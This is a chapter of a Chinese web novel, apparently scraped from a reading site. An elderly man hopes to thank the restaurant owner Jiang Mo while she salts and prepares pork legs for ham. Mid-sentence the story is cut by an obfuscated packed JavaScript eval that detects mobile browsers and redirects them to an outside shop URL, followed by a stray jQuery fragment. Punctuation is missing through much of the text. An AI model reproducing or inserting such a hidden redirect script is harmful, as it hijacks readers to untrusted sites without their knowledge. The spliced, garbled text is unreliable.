明明知道他喝醉了,还不赶快拦着他,让他说了那些话,这可如何是好?
人家姑娘家名声还要不要了?
沈正泽:“……”
他哪里知道外公会说什么。
不过也看得出来,外公很喜爱江茉了。
元老看着面前这个外孙,头疼地闭了闭眼睛。
实在不行,他就拉下老脸问问江老板,肯不肯要他家这个闷葫芦,若是肯,他就想法子撮合一下。
直接坐实,他就不算说胡话了。
元老越想越觉得可行。
而且江老板做饭好吃,一看就有福气,娶回家那是准准没错儿的!
“江老板呢?”他腆着脸问鸢尾。
鸢尾瞟他,“我们姑娘在厨房呢。”
今儿姑娘说要做什么火腿,早早就一头扎进厨房去了,到现在还没出来。
元老原本想直接去厨房找人,一想昨儿晚上自己都在沈府睡的,找到亲人了,好像也不方便直接去厨房,本身他对桃源居来说就是意外之客。
“那鸢尾姑娘帮我喊一声可好?她先前救了我,我在桃源居这些日子多亏她好吃好喝地照顾我,还请了好几次大夫,我心里头感激。”
鸢尾心中微动。
正常来讲,说完感谢就该送礼了。
“没问题,二位请等。”
有银子的事儿她得跑快点。
鸢尾一溜烟飞到厨房,压低声音。
“姑娘,沈大人和元老爷子又来了。”
江茉手下处理肉的动作一顿。
“好好招待。”她只是道,没有要亲自招待的意思。
“老爷子想见您,说心里头感激您。”鸢尾说。
江茉脑子停了停,听出这话的弦外之意。
想到昨日老爷子在大堂的话,她沉默下去。
“我现在没有时间,等晚点吧。”
鸢尾眼睛眨了眨,落到她手下的肉上。
“姑娘,您拿这么大一条腿,是准备做什么呀?”鸢尾好奇道。
今儿姑娘让荔枝买了好些整根猪腿呢。
“做火腿。”江茉随口道。
火腿她早就想做了,因为腌制时间比较久,现在腌上也得几个月才能吃。
鸢尾不知道火腿长什么样子但她知道肯定是好吃的。
江茉手下的猪腿泛着新鲜的粉色
腌制火腿最讲究选肉和手艺一步都不能错。
鸢尾看江茉从一旁的木盆里捞出一把粗盐盐粒洁白粗大带着浓郁的咸味儿比寻常盐味道更重。
“姑娘这是什么盐?”
她捏了点盐粒指尖沾了一层白霜。
她跟着江茉时间久了晓得江茉做菜挑剔的很平时用的盐不长这样。
“是海盐还加了些炒过的花椒和八角磨成的粉”江茉又抓起一把盐料均匀撒在猪腿上。
用盐把猪腿里的水分逼出来还要杀菌防腐第一步叫‘敷盐’。
她顺着猪腿的纹理反复揉搓盐料顺着指缝渗入肉质原本干涩的猪皮渐渐泛起湿润的光泽。
给三条猪腿都敷好盐将它们并排放在铺着稻草的大缸里猪皮朝上肉质朝下。
“敷盐之后还要静置七天。”
江茉用干净的稻草将猪腿之间的缝隙填满。
稻草能吸潮还能让火腿透气不至于腌得太咸。
鸢尾蹲在缸边看江茉仔细地将缸口用油纸封好只留下一个小小的透气孔。
“姑娘这七天都不能动吗?”
她托着下巴看着缸里的猪腿似乎已经能闻到成品的香味。
“也不是”江茉擦了擦手上的盐粒拿起一旁的竹篮。
“明天开始每天要看猪腿的干湿程度如果盐化得太快还要补撒些盐料。对了荔枝呢?让她把晾干的柏树枝和松针拿过来。”
鸢尾应声跑去不多时就和荔枝一起抱来一大捆柏树枝还有些带着清香的松针。
“姑娘这些是用来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760203|179973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烧火的吗?”
荔枝放下树枝额头上沁着细汗。
天越来越热了。
江茉摇头将柏树枝和松针铺在干净的石板上晾晒。
“等七日之后猪腿沥干水分就要用这些树枝熏制。柏木和松针熏出来的火腿会带着淡淡的木香口感更醇厚。”
她拿起一根柏树枝轻轻折断清新的木质香气飘出来鸢尾和荔
枝深吸了口气。
大堂。
元老爷子已经喝过三杯花茶,实在按捺不住,起身往厨房方向走了两步,又坐了回来。
“庭安啊,你说江老板会不会觉得我太唐突了?
他有些懊恼地摸了摸胡子,“昨日那番话,确实是我喝多了。
沈正泽端起茶杯,温热的茶水滑入喉咙,稍稍平复了心绪。
“外公不必自责,江老板不是小气之人。
他一抬目,恰好撞进一幅烟火气裹着清艳的图景。
江茉从厨房缓步走出,素色细麻的衣摆沾着些微烟火尘气,丝毫不减其清润。
她抬手解围裙的动作利落爽利,勾住绳结轻轻一扯,腰间系带便松了开来,顺势递向身侧候着的丫鬟。
那抹晃动的衣摆恰似春柳拂风,说不出的养眼。
刚踏出厨房,便对上两道灼灼目光。
元老眼中满是慈爱与急切,沈正泽的视线却似浸了温玉的光,落在她身上时带着几分收敛。
江茉拢了拢鬓边微乱的碎发,想起昨日大堂里元老那些直白到让人无措的话,轻轻抿了抿唇,不疾不徐地抬步朝两人走去。
“江老板。
沈正泽率先起身,嗓音温和。
他今日未穿往日常着的月白长衫,反倒换了件墨色暗纹锦袍,衣料上绣着细密的云纹,在天光下泛着低调的光泽。
腰间束着同色玉带,玉带钩是成色上好的羊脂玉,更衬得他身姿挺拔如孤松,眉眼间褪去平日的严肃,多了几分显而易见的郑重。